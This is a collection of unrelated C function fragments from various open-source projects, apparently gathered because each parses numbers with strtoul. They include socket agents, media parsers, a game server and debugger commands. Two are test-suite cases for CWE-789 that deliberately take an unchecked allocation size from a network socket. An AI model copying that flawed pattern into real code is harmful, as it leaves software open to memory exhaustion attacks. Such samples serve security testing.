close(fd); unlink(path); errno = listenfd; die_errno("bind|listen"); } for (len = sizeof(listensa); (listenfd = accept(fd, (struct sockaddr *)&listensa, &len)) > 0; len = sizeof(listensa)) { if (agent_socket_get_cred(listenfd, &cred) < 0) { close(listenfd); continue; } if (cred.uid != getuid() || cred.gid != getgid() || !process_is_same_executable(cred.pid)) { close(listenfd); continue; } #if SOCKET_SEND_PID == 1 pid_t pid = getpid(); IGNORE_RESULT(write(listenfd, &pid, sizeof(pid))); #endif IGNORE_RESULT(write(listenfd, key, KDF_HASH_LEN)); close(listenfd); } listenfd = errno; close(fd); unlink(path); errno = listenfd; die_errno("accept"); }
bool ASessionDescription::getDimensions( size_t index, unsigned long PT, int32_t *width, int32_t *height) const { *width = 0; *height = 0; char key[20]; sprintf(key, "a=framesize:%lu", PT); AString value; if (!findAttribute(index, key, &value)) { #ifndef ANDROID_DEFAULT_CODE // try to get dimensions from cliprect if no framesize strcpy(key, "a=cliprect"); if (!findAttribute(index, key, &value)) { ALOGW("no framesize and cliprect, try Width/Height"); strcpy(key, "a=Width"); if (!findAttribute(index, key, &value)) { return false; } int w = parseString(value.c_str()); strcpy(key, "a=Height"); if (!findAttribute(index, key, &value)) { return false; } int h = parseString(value.c_str()); if (w > 0 && h > 0) { *width = w; *height = h; return true; } return false; } const char *s = value.c_str(); int a = -1, b = -1, c = -1, d = -1; sscanf(s, "%d,%d,%d,%d", &a, &b, &c, &d); if (a == -1 || b == -1 || c == -1 || d == -1) return false; *height = c - a; *width = d - b; return true; #else return false; #endif // #ifndef ANDROID_DEFAULT_CODE } const char *s = value.c_str(); char *end; *width = strtoul(s, &end, 10); CHECK_GT(end, s); CHECK_EQ(*end, '-'); s = end + 1; *height = strtoul(s, &end, 10); CHECK_GT(end, s); CHECK_EQ(*end, '\0'); return true; }
bool ASessionDescription::getDurationUs(int64_t *durationUs) const { *durationUs = 0; CHECK(mIsValid); AString value; if (!findAttribute(0, "a=range", &value)) { return false; } #ifndef ANDROID_DEFAULT_CODE if (strncmp(value.c_str(), "npt=", 4) && strncmp(value.c_str(), "npt:", 4)) { #else if (strncmp(value.c_str(), "npt=", 4)) { #endif // #ifndef ANDROID_DEFAULT_CODE return false; } float from, to; if (!parseNTPRange(value.c_str() + 4, &from, &to)) { return false; } *durationUs = (int64_t)((to - from) * 1E6); return true; } // static void ASessionDescription::ParseFormatDesc( const char *desc, int32_t *timescale, int32_t *numChannels) { const char *slash1 = strchr(desc, '/'); CHECK(slash1 != NULL); const char *s = slash1 + 1; char *end; unsigned long x = strtoul(s, &end, 10); CHECK_GT(end, s); CHECK(*end == '\0' || *end == '/'); *timescale = x; *numChannels = 1; if (*end == '/') { s = end + 1; unsigned long x = strtoul(s, &end, 10); CHECK_GT(end, s); CHECK_EQ(*end, '\0'); *numChannels = x; } } // static bool ASessionDescription::parseNTPRange( const char *s, float *npt1, float *npt2) { if (s[0] == '-') { return false; // no start time available. } if (!strncmp("now", s, 3)) { return false; // no absolute start time available } char *end; *npt1 = strtof(s, &end); if (end == s || *end != '-') { // Failed to parse float or trailing "dash". return false; } s = end + 1; // skip the dash. if (!strncmp("now", s, 3)) { return false; // no absolute end time available } *npt2 = strtof(s, &end); #ifndef ANDROID_DEFAULT_CODE //We support range string as "Range: npt=1.0000-" return true; #else if (end == s || *end != '\0') { return false; } return *npt2 > *npt1; #endif } #ifndef ANDROID_DEFAULT_CODE bool ASessionDescription::getBitrate(size_t index, int32_t* bitrate) const { char key[] = "b=AS"; AString value; if (!findAttribute(index, key, &value)) return false; int32_t b = atoi(value.c_str()); b *= 1000; if (b < 0) return false; *bitrate = b; return true; }
int main(int argc, char *argv[]) { unsigned int i; size_t len; int quiet; int ch; int n = 0, k, e = 0; char *line, *f[4], *p; const char *cp, *gfn; FILE *gf; quiet = 0; while ((ch = getopt(argc, argv, "q")) != -1) { switch (ch) { case 'q': quiet = 1; break; case '?': default: usage(); } } if (optind == argc) gfn = "/etc/group"; else if (optind == argc - 1) gfn = argv[optind]; else usage(); /* open group file */ if ((gf = fopen(gfn, "r")) == NULL) err(EX_NOINPUT, "%s", gfn); /* check line by line */ while (++n) { if ((line = fgetln(gf, &len)) == NULL) break; if (len > 0 && line[len - 1] != '\n') { warnx("%s: line %d: no newline character", gfn, n); e = 1; } while (len && isspace(line[len-1])) len--; /* ignore blank lines and comments */ for (p = line; p < (line + len); p++) if (!isspace(*p)) break; if (!len || (*p == '#')) { #if 0 /* entry is correct, so print it */ printf("%*.*s\n", len, len, line); #endif continue; } /* * A correct group entry has four colon-separated fields, the third * of which must be entirely numeric and the fourth of which may * be empty. */ for (i = k = 0; k < 4; k++) { for (f[k] = line+i; (i < len) && (line[i] != ':'); i++) /* nothing */ ; if ((k < 3) && (line[i] != ':')) break; line[i++] = 0; } if (k < 4) { warnx("%s: line %d: missing field(s)", gfn, n); for ( ; k < 4; k++) f[k] = empty; e = 1; } for (cp = f[0] ; *cp ; cp++) { if (!isalnum(*cp) && *cp != '.' && *cp != '_' && *cp != '-' && (cp > f[0] || *cp != '+')) { warnx("%s: line %d: '%c' invalid character", gfn, n, *cp); e = 1; } } for (cp = f[3] ; *cp ; cp++) { if (!isalnum(*cp) && *cp != '.' && *cp != '_' && *cp != '-' && *cp != ',') { warnx("%s: line %d: '%c' invalid character", gfn, n, *cp); e = 1; } } /* check if fourth field ended with a colon */ if (i < len) { warnx("%s: line %d: too many fields", gfn, n); e = 1; } /* check that none of the fields contain whitespace */ for (k = 0; k < 4; k++) { if (strcspn(f[k], " \t") != strlen(f[k])) { warnx("%s: line %d: field %d contains whitespace", gfn, n, k+1); e = 1; } } /* check that the GID is numeric */ if (strspn(f[2], "0123456789") != strlen(f[2])) { warnx("%s: line %d: GID is not numeric", gfn, n); e = 1; } /* check the range of the group id */ errno = 0; unsigned long groupid = strtoul(f[2], NULL, 10); if (errno != 0) { warnx("%s: line %d: strtoul failed", gfn, n); } else if (groupid > GID_MAX) { warnx("%s: line %d: group id is too large (> %ju)", gfn, n, (uintmax_t)GID_MAX); e = 1; } #if 0 /* entry is correct, so print it */ printf("%s:%s:%s:%s\n", f[0], f[1], f[2], f[3]); #endif } /* check what broke the loop */ if (ferror(gf)) err(EX_IOERR, "%s: line %d", gfn, n); /* done */ fclose(gf); if (e == 0 && quiet == 0) printf("%s is fine\n", gfn); exit(e ? EX_DATAERR : EX_OK); }
void bad() { size_t data; /* define a function pointer */ void (*funcPtr) (size_t) = badSink; /* Initialize data */ data = 0; { #ifdef _WIN32 WSADATA wsaData; int wsaDataInit = 0; #endif int recvResult; struct sockaddr_in service; SOCKET listenSocket = INVALID_SOCKET; SOCKET acceptSocket = INVALID_SOCKET; char inputBuffer[CHAR_ARRAY_SIZE]; do { #ifdef _WIN32 if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR) { break; } wsaDataInit = 1; #endif /* POTENTIAL FLAW: Read data using a listen socket */ listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (listenSocket == INVALID_SOCKET) { break; } memset(&service, 0, sizeof(service)); service.sin_family = AF_INET; service.sin_addr.s_addr = INADDR_ANY; service.sin_port = htons(TCP_PORT); if (bind(listenSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR) { break; } if (listen(listenSocket, LISTEN_BACKLOG) == SOCKET_ERROR) { break; } acceptSocket = accept(listenSocket, NULL, NULL); if (acceptSocket == SOCKET_ERROR) { break; } /* Abort on error or the connection was closed */ recvResult = recv(acceptSocket, inputBuffer, CHAR_ARRAY_SIZE - 1, 0); if (recvResult == SOCKET_ERROR || recvResult == 0) { break; } /* NUL-terminate the string */ inputBuffer[recvResult] = '\0'; /* Convert to unsigned int */ data = strtoul(inputBuffer, NULL, 0); } while (0); if (listenSocket != INVALID_SOCKET) { CLOSE_SOCKET(listenSocket); } if (acceptSocket != INVALID_SOCKET) { CLOSE_SOCKET(acceptSocket); } #ifdef _WIN32 if (wsaDataInit) { WSACleanup(); } #endif } /* use the function pointer */ funcPtr(data); }
static bool loadimage( struct userdata *ud, char const *restrict filename, char const *restrict taddr ) { mc6809addr__t addr; FILE *fp; char *ro; int c; assert(ud != NULL); assert(filename != NULL); assert(taddr != NULL); addr = strtoul(taddr,&ro,16); if (*ro != 'r') ro = NULL; fp = fopen(filename,"rb"); if (fp == NULL) return false; while((c = fgetc(fp)) != EOF) { ud->memory[addr] = c; if (ro) ud->readonly[addr] = true; addr++; }
/* * @brief A connection request that did not come from the master. */ static void Sv_Connect_f(void) { char user_info[MAX_USER_INFO_STRING]; sv_client_t *cl, *client; int32_t i; Com_Debug("Svc_Connect()\n"); net_addr_t *addr = &net_from; const int32_t version = strtol(Cmd_Argv(1), NULL, 0); // resolve protocol if (version != PROTOCOL_MAJOR) { Netchan_OutOfBandPrint(NS_UDP_SERVER, addr, "print\nServer is version %d.\n", PROTOCOL_MAJOR); return; } const uint8_t qport = strtoul(Cmd_Argv(2), NULL, 0); const uint32_t challenge = strtoul(Cmd_Argv(3), NULL, 0); // copy user_info, leave room for ip stuffing g_strlcpy(user_info, Cmd_Argv(4), sizeof(user_info) - 25); if (*user_info == '\0') { // catch empty user_info Com_Print("Empty user_info from %s\n", Net_NetaddrToString(addr)); Netchan_OutOfBandPrint(NS_UDP_SERVER, addr, "print\nConnection refused\n"); return; } if (strchr(user_info, '\xFF')) { // catch end of message in string exploit Com_Print("Illegal user_info contained xFF from %s\n", Net_NetaddrToString(addr)); Netchan_OutOfBandPrint(NS_UDP_SERVER, addr, "print\nConnection refused\n"); return; } if (strlen(GetUserInfo(user_info, "ip"))) { // catch spoofed ips Com_Print("Illegal user_info contained ip from %s\n", Net_NetaddrToString(addr)); Netchan_OutOfBandPrint(NS_UDP_SERVER, addr, "print\nConnection refused\n"); return; } if (!ValidateUserInfo(user_info)) { // catch otherwise invalid user_info Com_Print("Invalid user_info from %s\n", Net_NetaddrToString(addr)); Netchan_OutOfBandPrint(NS_UDP_SERVER, addr, "print\nConnection refused\n"); return; } // force the ip so the game can filter on it SetUserInfo(user_info, "ip", Net_NetaddrToString(addr)); // enforce a valid challenge to avoid denial of service attack for (i = 0; i < MAX_CHALLENGES; i++) { if (Net_CompareClientNetaddr(addr, &svs.challenges[i].addr)) { if (challenge == svs.challenges[i].challenge) { svs.challenges[i].challenge = 0; break; // good } Netchan_OutOfBandPrint(NS_UDP_SERVER, addr, "print\nBad challenge\n"); return; } } if (i == MAX_CHALLENGES) { Com_Print("Connection without challenge from %s\n", Net_NetaddrToString(addr)); Netchan_OutOfBandPrint(NS_UDP_SERVER, addr, "print\nNo challenge for address\n"); return; } // resolve the client slot client = NULL; // first check for an ungraceful reconnect (client crashed, perhaps) for (i = 0, cl = svs.clients; i < sv_max_clients->integer; i++, cl++) { const net_chan_t *ch = &cl->net_chan; if (cl->state == SV_CLIENT_FREE) // not in use, not interested continue; // the base address and either the qport or real port must match if (Net_CompareClientNetaddr(addr, &ch->remote_address)) { if (addr->port == ch->remote_address.port || qport == ch->qport) { client = cl; break; } } } // otherwise, treat as a fresh connect to a new slot if (!client) { for (i = 0, cl = svs.clients; i < sv_max_clients->integer; i++, cl++) { if (cl->state == SV_CLIENT_FREE && !cl->entity->ai) { // we have a free one client = cl; break; } } } // no soup for you, next!! if (!client) { Netchan_OutOfBandPrint(NS_UDP_SERVER, addr, "print\nServer is full\n"); Com_Debug("Rejected a connection\n"); return; } // give the game a chance to reject this connection or modify the user_info if (!(svs.game->ClientConnect(client->entity, user_info))) { const char *rejmsg = GetUserInfo(user_info, "rejmsg"); if (strlen(rejmsg)) { Netchan_OutOfBandPrint(NS_UDP_SERVER, addr, "print\n%s\nConnection refused\n", rejmsg); } else { Netchan_OutOfBandPrint(NS_UDP_SERVER, addr, "print\nConnection refused\n"); } Com_Debug("Game rejected a connection\n"); return; } // parse some info from the info strings g_strlcpy(client->user_info, user_info, sizeof(client->user_info)); Sv_UserInfoChanged(client); // send the connect packet to the client Netchan_OutOfBandPrint(NS_UDP_SERVER, addr, "client_connect %s", sv_download_url->string); Netchan_Setup(NS_UDP_SERVER, &client->net_chan, addr, qport); Mem_InitBuffer(&client->datagram.buffer, client->datagram.data, sizeof(client->datagram.data)); client->datagram.buffer.allow_overflow = true; client->last_message = quetoo.time; client->state = SV_CLIENT_CONNECTED; }
/* ----------------------------------------------------------------------- */ int miniopt(miniopt_t *t, char **argv) { int keylen; char *p, *eq, *valstr, *endptr = NULL; int err = 0; t->consumed = 0; t->positional = FALSE; memset(t->key, 0, MINIOPT_MAXKEY); t->opt = '\0'; t->valstr = NULL; t->good_int = FALSE; valstr = NULL; if (*argv == NULL) { err = -1; goto exit; } p = *argv++; t->consumed++; if (!t->opt_end && !strcmp(p, "--")) { t->opt_end = TRUE; if (*argv == NULL) { err = -1; goto exit; } p = *argv++; t->consumed++; } if (t->opt_end) { t->positional = TRUE; valstr = p; } else if (!strncmp(p, "--", 2)) { eq = strchr(p, '='); if (eq == NULL && !t->longflags) { fprintf(stderr, "%s: missing \" = \" in long param \"%s\"\n", t->name, p); err = 1; goto exit; } keylen = eq ? (eq - (p + 2)) : (int)strlen(p) - 2; if (keylen > 63) keylen = 63; memcpy(t->key, p + 2, keylen); if (eq) { valstr = eq + 1; if (*valstr == '\0') { fprintf(stderr, "%s: missing value after \" = \" in long param \"%s\"\n", t->name, p); err = 1; goto exit; } } } else if (!strncmp(p, "-", 1)) { t->opt = p[1]; if (strlen(p) > 2) { fprintf(stderr, "%s: only single char options, error on param \"%s\"\n", t->name, p); err = 1; goto exit; } if (strchr(t->flags, t->opt)) { /* this is a flag option, no value expected */ valstr = NULL; } else { if (*argv == NULL) { fprintf(stderr, "%s: missing value parameter after \"%s\"\n", t->name, p); err = 1; goto exit; } valstr = *argv; argv++; t->consumed++; } } else { t->positional = TRUE; valstr = p; } /* parse valstr as int just in case */ if (valstr) { t->uval = (uint)strtoul(valstr, &endptr, 0); t->val = (int)t->uval; t->good_int = (*endptr == '\0'); } t->valstr = valstr; exit: if (err == 1) t->opt = '?'; return err; }
int addSource(Spec spec, /*@unused@*/ Package pkg, const char *field, rpmTag tag) { struct Source *p; #if defined(RPM_VENDOR_OPENPKG) /* regular-ordered-sources */ struct Source *p_last; #endif int flag = 0; const char *name = NULL; const char *mdir = NULL; const char *fieldp = NULL; char buf[BUFSIZ]; uint32_t num = 0; buf[0] = '\0'; switch (tag) { case RPMTAG_SOURCE: flag = RPMFILE_SOURCE; name = "source"; fieldp = spec->line + strlen(name); break; case RPMTAG_PATCH: flag = RPMFILE_PATCH; name = "patch"; fieldp = spec->line + strlen(name); break; case RPMTAG_ICON: flag = RPMFILE_ICON; name = "icon"; fieldp = NULL; break; default: assert(0); /*@notreached@*/ break; } #if !defined(RPM_VENDOR_OPENPKG) /* splitted-source-directory */ mdir = getSourceDir(flag); assert(mdir != NULL); #endif /* Get the number */ if (fieldp != NULL) { char * end = NULL; num = strtoul(fieldp, &end, 10); SKIPSPACE(end); if (*end != ':') { rpmlog(RPMLOG_ERR, _("line %d: No ':' terminator: %s\n"), spec->lineNum, spec->line); return RPMRC_FAIL; } } /* Check whether tags of the same number haven't already been defined */ for (p = spec->sources; p != NULL; p = p->next) { if ( p->num != num ) continue; if ((tag == RPMTAG_SOURCE && p->flags == RPMFILE_SOURCE) || (tag == RPMTAG_PATCH && p->flags == RPMFILE_PATCH)) { rpmlog(RPMLOG_ERR, _("%s %d defined multiple times\n"), name, num); return RPMRC_FAIL; } } /* Create the entry and link it in */ p = xmalloc(sizeof(*p)); p->num = num; p->fullSource = xstrdup(field); p->flags = flag; p->source = strrchr(p->fullSource, '/'); if (p->source) p->source++; else p->source = p->fullSource; #if defined(RPM_VENDOR_OPENPKG) /* regular-ordered-sources */ p->next = NULL; p_last = spec->sources; while (p_last != NULL && p_last->next != NULL) p_last = p_last->next; if (p_last != NULL) p_last->next = p; else spec->sources = p; #else p->next = spec->sources; spec->sources = p; #endif spec->numSources++; /* XXX FIXME: need to add ICON* macros. */ #if defined(RPM_VENDOR_OPENPKG) /* splitted-source-directory */ mdir = getSourceDir(flag, p->source); #endif if (tag != RPMTAG_ICON) { const char *body = rpmGenPath(NULL, mdir, p->source); sprintf(buf, "%s%d", (flag & RPMFILE_PATCH) ? "PATCH" : "SOURCE", num); addMacro(spec->macros, buf, NULL, body, RMIL_SPEC); sprintf(buf, "%sURL%d", (flag & RPMFILE_PATCH) ? "PATCH" : "SOURCE", num); addMacro(spec->macros, buf, NULL, p->fullSource, RMIL_SPEC); #ifdef WITH_LUA if (!spec->recursing) { rpmlua lua = NULL; /* global state */ const char * what = (flag & RPMFILE_PATCH) ? "patches" : "sources"; rpmluav var = rpmluavNew(); rpmluaPushTable(lua, what); rpmluavSetListMode(var, 1); rpmluavSetValue(var, RPMLUAV_STRING, body); rpmluaSetVar(lua, var); /*@-moduncon@*/ var = (rpmluav) rpmluavFree(var); /*@=moduncon@*/ rpmluaPop(lua); } #endif body = _free(body); } return RPMRC_OK; }
char *glob_match_url(char *filename, URLGlob *glob) { char *target; size_t allocsize; size_t stringlen=0; char numbuf[18]; char *appendthis = NULL; size_t appendlen = 0; /* We cannot use the glob_buffer for storage here since the filename may * be longer than the URL we use. We allocate a good start size, then * we need to realloc in case of need. */ allocsize=strlen(filename)+1; /* make it at least one byte to store the trailing zero */ target = malloc(allocsize); if(NULL == target) return NULL; /* major failure */ while(*filename) { if(*filename == '#' && ISDIGIT(filename[1])) { unsigned long i; char *ptr = filename; unsigned long num = strtoul(&filename[1], &filename, 10); i = num-1; if(num && (i <= glob->size / 2)) { URLPattern pat = glob->pattern[i]; switch (pat.type) { case UPTSet: if(pat.content.Set.elements) { appendthis = pat.content.Set.elements[pat.content.Set.ptr_s]; appendlen = strlen(pat.content.Set.elements[pat.content.Set.ptr_s]); } break; case UPTCharRange: numbuf[0]=pat.content.CharRange.ptr_c; numbuf[1]=0; appendthis=numbuf; appendlen=1; break; case UPTNumRange: snprintf(numbuf, sizeof(numbuf), "%0*d", pat.content.NumRange.padlength, pat.content.NumRange.ptr_n); appendthis = numbuf; appendlen = strlen(numbuf); break; default: printf("internal error: invalid pattern type (%d)\n", (int)pat.type); free(target); return NULL; } } else { /* #[num] out of range, use the #[num] in the output */ filename = ptr; appendthis=filename++; appendlen=1; } } else { appendthis=filename++; appendlen=1; } if(appendlen + stringlen >= allocsize) { char *newstr; /* we append a single byte to allow for the trailing byte to be appended at the end of this function outside the while() loop */ allocsize = (appendlen + stringlen)*2; newstr=realloc(target, allocsize + 1); if(NULL ==newstr) { free(target); return NULL; } target=newstr; } memcpy(&target[stringlen], appendthis, appendlen); stringlen += appendlen; } target[stringlen]= '\0'; return target; }
static void process_cmds(void) { char line[VCHANNEL_MAX_LINE]; int size; char *p, *tok1, *tok2, *tok3, *tok4, *tok5, *tok6, *tok7, *tok8; while ((size = vchannel_read(line, sizeof(line))) >= 0) { p = unescape(line); tok1 = get_token(&p); tok2 = get_token(&p); tok3 = get_token(&p); tok4 = get_token(&p); tok5 = get_token(&p); tok6 = get_token(&p); tok7 = get_token(&p); tok8 = get_token(&p); if (strcmp(tok1, "SYNC") == 0) do_sync(); else if (strcmp(tok1, "STATE") == 0) do_state(strtoul(tok2, NULL, 0), long_to_hwnd(strtoul(tok3, NULL, 0)), strtol(tok4, NULL, 0)); else if (strcmp(tok1, "POSITION") == 0) do_position(strtoul(tok2, NULL, 0), long_to_hwnd(strtoul(tok3, NULL, 0)), strtol(tok4, NULL, 0), strtol(tok5, NULL, 0), strtol(tok6, NULL, 0), strtol(tok7, NULL, 0)); else if (strcmp(tok1, "ZCHANGE") == 0) do_zchange(strtoul(tok2, NULL, 0), long_to_hwnd(strtoul(tok3, NULL, 0)), long_to_hwnd(strtoul(tok4, NULL, 0))); else if (strcmp(tok1, "FOCUS") == 0) do_focus(strtoul(tok2, NULL, 0), long_to_hwnd(strtoul(tok3, NULL, 0))); else if (strcmp(tok1, "DESTROY") == 0) do_destroy(long_to_hwnd(strtoul(tok3, NULL, 0))); else if (strcmp(tok1, "SPAWN") == 0) do_spawn(strtoul(tok2, NULL, 0), tok3); else if (strcmp(tok1, "PERSISTENT") == 0) do_persistent(strtoul(tok2, NULL, 0), strtol(tok3, NULL, 0)); free(p); } }
int main(int argc, char **argv) { int op, ret; hints.ai_port_space = RDMA_PS_UDP; while ((op = getopt(argc, argv, "s:b:c:C:S:t:p:P:f:")) != -1) { switch (op) { case 's': dst_addr = optarg; break; case 'b': src_addr = optarg; break; case 'c': connections = atoi(optarg); break; case 'C': message_count = atoi(optarg); break; case 'S': message_size = atoi(optarg); break; case 't': set_tos = 1; tos = (uint8_t) strtoul(optarg, NULL, 0); break; case 'p': /* for backwards compatibility - use -P */ hints.ai_port_space = strtol(optarg, NULL, 0); break; case 'f': if (!strncasecmp("ip", optarg, 2)) { hints.ai_flags = RAI_NUMERICHOST; } else if (!strncasecmp("gid", optarg, 3)) { hints.ai_flags = RAI_NUMERICHOST | RAI_FAMILY; hints.ai_family = AF_IB; } else if (strncasecmp("name", optarg, 4)) { fprintf(stderr, "Warning: unknown address format\n"); } break; case 'P': if (!strncasecmp("ipoib", optarg, 5)) { hints.ai_port_space = RDMA_PS_IPOIB; } else if (strncasecmp("udp", optarg, 3)) { fprintf(stderr, "Warning: unknown port space format\n"); } break; default: printf("usage: %s\n", argv[0]); printf("\t[-s server_address]\n"); printf("\t[-b bind_address]\n"); printf("\t[-f address_format]\n"); printf("\t name, ip, ipv6, or gid\n"); printf("\t[-P port_space]\n"); printf("\t udp or ipoib\n"); printf("\t[-c connections]\n"); printf("\t[-C message_count]\n"); printf("\t[-S message_size]\n"); printf("\t[-t type_of_service]\n"); printf("\t[-p port_space - %#x for UDP (default), " "%#x for IPOIB]\n", RDMA_PS_UDP, RDMA_PS_IPOIB); exit(1); } } test.connects_left = connections; test.channel = rdma_create_event_channel(); if (!test.channel) { perror("failed to create event channel"); exit(1); } if (alloc_nodes()) exit(1); if (dst_addr) { ret = run_client(); } else { hints.ai_flags |= RAI_PASSIVE; ret = run_server(); } printf("test complete\n"); destroy_nodes(); rdma_destroy_event_channel(test.channel); if (test.rai) rdma_freeaddrinfo(test.rai); printf("return status %d\n", ret); return ret; }
static void parse_long_opts(int opt_index, char *opt_arg) { errno = 0; switch (opt_index) { case COMMAND_OPT_INDEX: usage_internal(); break; case CREATE_OPT_INDEX: mirror_op = SANDESH_OP_ADD; mirror_index = strtoul(opt_arg, NULL, 0); if (errno) usage_internal(); break; case DELETE_OPT_INDEX: mirror_op = SANDESH_OP_DEL; mirror_index = strtoul(opt_arg, NULL, 0); if (errno) usage_internal(); break; case DUMP_OPT_INDEX: mirror_op = SANDESH_OP_DUMP; break; case GET_OPT_INDEX: mirror_op = SANDESH_OP_GET; mirror_index = strtoul(opt_arg, NULL, 0); if (errno) Usage(); break; case HELP_OPT_INDEX: Usage(); break; case NEXTHOP_OPT_INDEX: mirror_nh = strtoul(opt_arg, NULL, 0); if (errno) usage_internal(); break; case DYNAMIC_OPT_INDEX: mirror_flags = VR_MIRROR_FLAG_DYNAMIC; break; case VNI_OPT_INDEX: vni_id = strtoul(opt_arg, NULL, 0); if (errno) usage_internal(); break; default: Usage(); break; } return; }
void AcpiDbSetMethodData ( char *TypeArg, char *IndexArg, char *ValueArg) { char Type; UINT32 Index; UINT32 Value; ACPI_WALK_STATE *WalkState; ACPI_OPERAND_OBJECT *ObjDesc; ACPI_STATUS Status; ACPI_NAMESPACE_NODE *Node; /* Validate TypeArg */ AcpiUtStrupr (TypeArg); Type = TypeArg[0]; if ((Type != 'L') && (Type != 'A') && (Type != 'N')) { AcpiOsPrintf ("Invalid SET operand: %s\n", TypeArg); return; } Value = strtoul (ValueArg, NULL, 16); if (Type == 'N') { Node = AcpiDbConvertToNode (IndexArg); if (!Node) { return; } if (Node->Type != ACPI_TYPE_INTEGER) { AcpiOsPrintf ("Can only set Integer nodes\n"); return; } ObjDesc = Node->Object; ObjDesc->Integer.Value = Value; return; } /* Get the index and value */ Index = strtoul (IndexArg, NULL, 16); WalkState = AcpiDsGetCurrentWalkState (AcpiGbl_CurrentWalkList); if (!WalkState) { AcpiOsPrintf ("There is no method currently executing\n"); return; } /* Create and initialize the new object */ ObjDesc = AcpiUtCreateIntegerObject ((UINT64) Value); if (!ObjDesc) { AcpiOsPrintf ("Could not create an internal object\n"); return; } /* Store the new object into the target */ switch (Type) { case 'A': /* Set a method argument */ if (Index > ACPI_METHOD_MAX_ARG) { AcpiOsPrintf ("Arg%u - Invalid argument name\n", Index); goto Cleanup; } Status = AcpiDsStoreObjectToLocal (ACPI_REFCLASS_ARG, Index, ObjDesc, WalkState); if (ACPI_FAILURE (Status)) { goto Cleanup; } ObjDesc = WalkState->Arguments[Index].Object; AcpiOsPrintf ("Arg%u: ", Index); AcpiDbDisplayInternalObject (ObjDesc, WalkState); break; case 'L': /* Set a method local */ if (Index > ACPI_METHOD_MAX_LOCAL) { AcpiOsPrintf ("Local%u - Invalid local variable name\n", Index); goto Cleanup; } Status = AcpiDsStoreObjectToLocal (ACPI_REFCLASS_LOCAL, Index, ObjDesc, WalkState); if (ACPI_FAILURE (Status)) { goto Cleanup; } ObjDesc = WalkState->LocalVariables[Index].Object; AcpiOsPrintf ("Local%u: ", Index); AcpiDbDisplayInternalObject (ObjDesc, WalkState); break; default: break; } Cleanup: AcpiUtRemoveReference (ObjDesc); }
static int cmd_dump(PROGRAMMER * pgm, struct avrpart * p, int argc, char * argv[]) { static char prevmem[128] = {0}; char * e; unsigned char * buf; int maxsize; unsigned long i; static unsigned long addr=0; static int len=64; AVRMEM * mem; char * memtype = NULL; int rc; if (!((argc == 2) || (argc == 4))) { fprintf(stderr, "Usage: dump <memtype> [<addr> <len>]\n"); return -1; } memtype = argv[1]; if (strncmp(prevmem, memtype, strlen(memtype)) != 0) { addr = 0; len = 64; strncpy(prevmem, memtype, sizeof(prevmem)-1); prevmem[sizeof(prevmem)-1] = 0; } mem = avr_locate_mem(p, memtype); if (mem == NULL) { fprintf(stderr, "\"%s\" memory type not defined for part \"%s\"\n", memtype, p->desc); return -1; } if (argc == 4) { addr = strtoul(argv[2], &e, 0); if (*e || (e == argv[2])) { fprintf(stderr, "%s (dump): can't parse address \"%s\"\n", progname, argv[2]); return -1; } len = strtol(argv[3], &e, 0); if (*e || (e == argv[3])) { fprintf(stderr, "%s (dump): can't parse length \"%s\"\n", progname, argv[3]); return -1; } } maxsize = mem->size; if (addr >= maxsize) { if (argc == 2) { /* wrap around */ addr = 0; } else { fprintf(stderr, "%s (dump): address 0x%05lx is out of range for %s memory\n", progname, addr, mem->desc); return -1; } } /* trim len if nessary to not read past the end of memory */ if ((addr + len) > maxsize) len = maxsize - addr; buf = malloc(len); if (buf == NULL) { fprintf(stderr, "%s (dump): out of memory\n", progname); return -1; } for (i=0; i<len; i++) { rc = pgm->read_byte(pgm, p, mem, addr+i, &buf[i]); if (rc != 0) { fprintf(stderr, "error reading %s address 0x%05lx of part %s\n", mem->desc, addr+i, p->desc); if (rc == -1) fprintf(stderr, "read operation not supported on memory type \"%s\"\n", mem->desc); return -1; } } hexdump_buf(stdout, addr, buf, len); fprintf(stdout, "\n"); free(buf); addr = addr + len; return 0; }
void CWE789_Uncontrolled_Mem_Alloc__malloc_wchar_t_connect_socket_44_bad() { size_t data; /* define a function pointer */ void (*funcPtr) (size_t) = badSink; /* Initialize data */ data = 0; { #ifdef _WIN32 WSADATA wsaData; int wsaDataInit = 0; #endif int recvResult; struct sockaddr_in service; SOCKET connectSocket = INVALID_SOCKET; char inputBuffer[CHAR_ARRAY_SIZE]; do { #ifdef _WIN32 if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR) { break; } wsaDataInit = 1; #endif /* POTENTIAL FLAW: Read data using a connect socket */ connectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (connectSocket == INVALID_SOCKET) { break; } memset(&service, 0, sizeof(service)); service.sin_family = AF_INET; service.sin_addr.s_addr = inet_addr(IP_ADDRESS); service.sin_port = htons(TCP_PORT); if (connect(connectSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR) { break; } /* Abort on error or the connection was closed, make sure to recv one * less char than is in the recv_buf in order to append a terminator */ recvResult = recv(connectSocket, inputBuffer, CHAR_ARRAY_SIZE - 1, 0); if (recvResult == SOCKET_ERROR || recvResult == 0) { break; } /* NUL-terminate the string */ inputBuffer[recvResult] = '\0'; /* Convert to unsigned int */ data = strtoul(inputBuffer, NULL, 0); } while (0); if (connectSocket != INVALID_SOCKET) { CLOSE_SOCKET(connectSocket); } #ifdef _WIN32 if (wsaDataInit) { WSACleanup(); } #endif } /* use the function pointer */ funcPtr(data); }
static int cmd_send(PROGRAMMER * pgm, struct avrpart * p, int argc, char * argv[]) { unsigned char cmd[4], res[4]; char * e; int i; int len; if (pgm->cmd == NULL) { fprintf(stderr, "The %s programmer does not support direct ISP commands.\n", pgm->type); return -1; } if (spi_mode && (pgm->spi == NULL)) { fprintf(stderr, "The %s programmer does not support direct SPI transfers.\n", pgm->type); return -1; } if ((argc > 5) || ((argc < 5) && (!spi_mode))) { fprintf(stderr, spi_mode? "Usage: send <byte1> [<byte2> [<byte3> [<byte4>]]]\n": "Usage: send <byte1> <byte2> <byte3> <byte4>\n"); return -1; } /* number of bytes to write at the specified address */ len = argc - 1; /* load command bytes */ for (i=1; i<argc; i++) { cmd[i-1] = strtoul(argv[i], &e, 0); if (*e || (e == argv[i])) { fprintf(stderr, "%s (send): can't parse byte \"%s\"\n", progname, argv[i]); return -1; } } pgm->err_led(pgm, OFF); if (spi_mode) pgm->spi(pgm, cmd, res, argc-1); else pgm->cmd(pgm, cmd, res); /* * display results */ 